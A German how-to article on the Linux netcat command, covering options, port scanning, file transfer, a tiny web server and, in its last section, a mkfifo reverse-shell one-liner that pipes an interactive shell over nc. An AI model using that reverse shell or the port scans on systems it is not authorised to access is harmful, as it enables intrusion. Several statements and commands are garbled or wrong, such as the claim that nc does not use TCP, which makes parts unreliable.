Zahlungsmethoden Abuse

Wozu der NC-Befehl in Linux dient

29.08.2024, 02:19

Der Befehl netcat ist für das Senden und Empfangen von Daten über TCP- und UDP-Protokolle erforderlich. Er verfügt zwar nicht über einen großen Funktionsumfang, ist aber für die Überprüfung von Verbindungen und einfache Fehlersuche ausreichend. Wie kann man über das TCP-Protokoll kommunizieren? Diese Frage wird von vielen Benutzern gestellt. In diesem Artikel werden wir diese Frage beantworten und auch Beispiele für die reale Anwendung des Befehls zeigen.

Was macht der Befehl?

Der Befehl netcat (oder nc) ist ein leistungsfähiges Werkzeug für die Arbeit mit Netzwerkverbindungen. Es wird häufig von Systemadministratoren und Entwicklern für verschiedene Aufgaben verwendet. Hier sind die wichtigsten Funktionen und Eigenschaften von netcat:

  1. Aufbau von TCP/UDP-Verbindungen: ermöglicht den Aufbau von Verbindungen zu entfernten Hosts über TCP- und UDP-Protokolle.
  2. Port Listening: kann als Server verwendet werden, um auf eingehende Verbindungen an einem bestimmten Port zu warten
  3. Datenübertragung: Übertragung von Daten zwischen Computern über ein Netzwerk. Dies kann für den Dateitransfer oder das Messaging nützlich sein.
  4. Debugging von Netzwerkanwendungen: Zum Testen und Debuggen von Netzwerkdiensten, wobei Sie beliebige Daten senden und empfangen können.
  5. Einfache Chats erstellen: Es kann eine einfache Textkommunikation zwischen zwei Systemen eingerichtet werden.
  6. Port-Scanning: kann verwendet werden, um nach offenen Ports auf entfernten Hosts zu suchen.
  7. Tunnelling: kann verwendet werden, um Tunnel zu erstellen, um den Verkehr über andere Ports oder Hosts umzuleiten.
  8. Arbeit mit Proxys: kann verwendet werden, um mit Proxy-Servern zu arbeiten und verschiedene Netzwerkaufgaben auszuführen.

netcat ist ein vielseitiges Werkzeug, das in einer Vielzahl von Szenarien eingesetzt werden kann, vom einfachen Messaging bis hin zu komplexen Netzwerkoperationen.

Optionen

Schauen wir uns zunächst die Syntax und die gängigsten Optionen an:

  • -6 - IPv6-Protokoll verwenden. Der Standard ist -4 bzw. IPv4;
  • -h - zeigt die Hilfe mit der Liste der verfügbaren Parameter an;
  • -i - delay - fügt eine Verzögerung zwischen dem Senden von Strings oder dem Scannen von Ports hinzu. Sie wird in Sekunden eingestellt;
  • -l - Listen-Modus. Wird zusammen mit der Portangabe verwendet;
  • -N - schließt die Verbindung, wenn beim Senden das Ende der Datei erreicht wird;
  • -n - Arbeitet direkt mit IP-Adressen ohne DNS, deaktiviert auch das Scannen von Ports;
  • -P - user_name - Angabe des Benutzernamens für die Verbindung zum Proxy;
  • -x - address:port - gibt die Adresse und den Port für die Verbindung mit dem Proxy an;
  • -p - port - Angabe der Portnummer. In den meisten Fällen wird der Port ohne Angabe des Parameters gelesen;
  • -U - UNIX-Domain-Socket verwenden (für die Kommunikation zwischen Prozessen);
  • -u - UDP-Protokoll verwenden, standardmäßig wird TCP verwendet;
  • -v - detaillierter Modus. Wird beim Scannen verwendet;
  • -W number_packets - schließt die Verbindung nach dem Empfang einer bestimmten Anzahl von Paketen;
  • -w timer - aktiviert den Timer, um die Verbindungszeit zu begrenzen. Er wird in Sekunden eingestellt;
  • -z - Deaktiviert das Senden von Daten. Er wird während des Scannens verwendet.

Der Befehl hat die folgende Form (Parameter Portadresse):

$ nc

Im Folgenden wird erklärt, wie der Befehl zu verwenden ist.

Überprüfen des Ports

Das Überprüfen ist die Hauptanwendung von netcat. Sie sollten zwei Parameter verwenden -vz, die Adresse und den Port angeben. Sie können einen Bereich von Adressen angeben, aber in diesem Fall ist es besser, nur offene Ports mit dem Befehlgrep zu durchsuchen. Lassen Sie uns die Ports der lokalen Netzwerkadresse scannen:

$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Auf dieselbe Weise scannen wir die UDP-Ports, indem wir den Parameter -u hinzufügen:

$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

Sie sollten den Hauptunterschied zwischen TCP und UDP kennen. Bei UDP sind die Ports immer verfügbar.

Abhören des Ports

Der Parameter -l ist für das Abhören des Ports vorgesehen. Das ist oft genug, aber Sie können den detaillierten Modus aktivieren:

$ nc -nlv 8080

Denken Sie daran, dass bei der Verwendung des TCP-Protokolls der Port frei sein muss, da sonst der Fehler "Already in use" erscheint. Nicht alle Ports können von normalen Benutzern verwendet werden, z. B. Port 80 (HTTP), der höchstwahrscheinlich von einem anderen Prozess belegt ist und Superuser-Rechte erfordert.

Dateiaustausch

Eine nützliche Fähigkeit des Befehls ist der Datenaustausch. Ein einfaches Beispiel ist ein Text-Chatraum. Um einen Chat auf einem Computer zu starten, führen Sie das Dienstprogramm im Port-Listening-Modus aus:

$ nc -lp 8080

Auf dem anderen Computer müssen Sie die Adresse des ersten Computers und denselben Port angeben. Vergessen Sie auch nicht, zu überprüfen, ob der Port offen ist:

$ nc 0.0.0.0 8080

Auf diese Weise können Sie Nachrichten senden und empfangen. Das heißt, der Befehl ist für den Dateiaustausch gedacht. Das Prinzip ist das gleiche, nur dass die Ausgabe in eine Datei, nämlich paste.txt, umgeleitet werden muss:

$ nc -l 8080 > paste.txt

Auf dem anderen PC wird die Datei copy.txt als Eingabe dienen. Es ist nicht überflüssig, den Parameter -N zu verwenden, um die Verbindung nach der Dateiübertragung zu schließen:

$ nc -N 0.0.0.0 8080 < copy.txt

Bei der Dateiübertragung ist es wichtig, die Reihenfolge einzuhalten, zuerst das Abhören zu öffnen und erst dann die Datei zu senden. Der nc-Befehl ist ein funktionierender, aber bei weitem nicht der beste Weg, um Dateien zu übertragen. Es gibt effizientere und nützlichere Werkzeuge für diese Aufgabe.

Ein einfacher Webserver

Da der NC-Befehl nicht mit dem TCP-Protokoll arbeitet, ermöglicht er sowohl das Senden als auch das Empfangen von HTTP-Anfragen. Daher kann das Dienstprogramm zu einem einfachen Webserver werden. Ja, Sie können auf diese Weise nichts Komplizierteres als eine leere Seite machen, aber die Operation wird fast keine Zeit in Anspruch nehmen, und der Vorteil ist, dass Sie nichts Zusätzliches installieren müssen.

Auf das Beispielformular kommt eine HTTP-Antwort mit der Datei index.html. Apropos np selbst, es ist eine gute Idee, mit dem Parameter -w 1 einen Timer zu setzen, um die Verbindung zu unterbrechen, wenn der Browser nicht abbricht:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Um Daten von einer Website abzurufen, kann man eine Anfrage formulieren und an die angegebene Adresse und den Port senden. Dieser Weg ist jedoch recht kompliziert, es ist besser, den entsprechenden CURL-Befehl zu verwenden.

Entfernte Shell

Anhand der oben genannten Beispiele lässt sich unschwer feststellen, dass der Befehl den Fernzugriff auf die Shell des Computers ermöglicht. Früher hatte das Dienstprogramm NC mehrere Parameter, um den Zugang zum Terminal zu öffnen. Der Parameter -e wurde schon vor langer Zeit aus dem Dienstprogramm entfernt, so dass es keinen einfachen Zugriff auf das Terminal mehr geben wird. Die Sicherheit der Anwendung selbst ist höher geworden, aber sie kann immer noch in Verbindung mit anderen arbeiten.

Lassen Sie uns die Verbindung über den benannten Kanal mkfifo zeigen. Als Erstes beginnen wir mit dem Abhören des Ports auf dem PC, auf den wir zugreifen wollen:

$ nc -lvnp 8080

Gehen wir direkt zu dem Befehl, um das Terminal zu öffnen. Löschen Sie zunächst den alten benannten Kanal(rm /tmp/f), erstellen Sie an seiner Stelle einen neuen(mkfifo /tmp/f), lesen Sie dessen Inhalt(cat /tmp/f) und senden Sie einen Shell-Befehl an dessen Ausgabe(sh -i 2>&1). Danach müssen Sie nur noch nc mit der Ausgabe an unseren benannten Kanal ausführen(nc 0.0.0.0.0 8080 >/tmp/f):

$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Denken Sie daran, dass dies nur eine Möglichkeit ist, sich zu hacken, aber im Falle von ssh-Problemen kann es nützlich sein. Um den Angriff zu verhindern, konfigurieren Sie eine Sicherheitsrichtlinie und eine Firewall.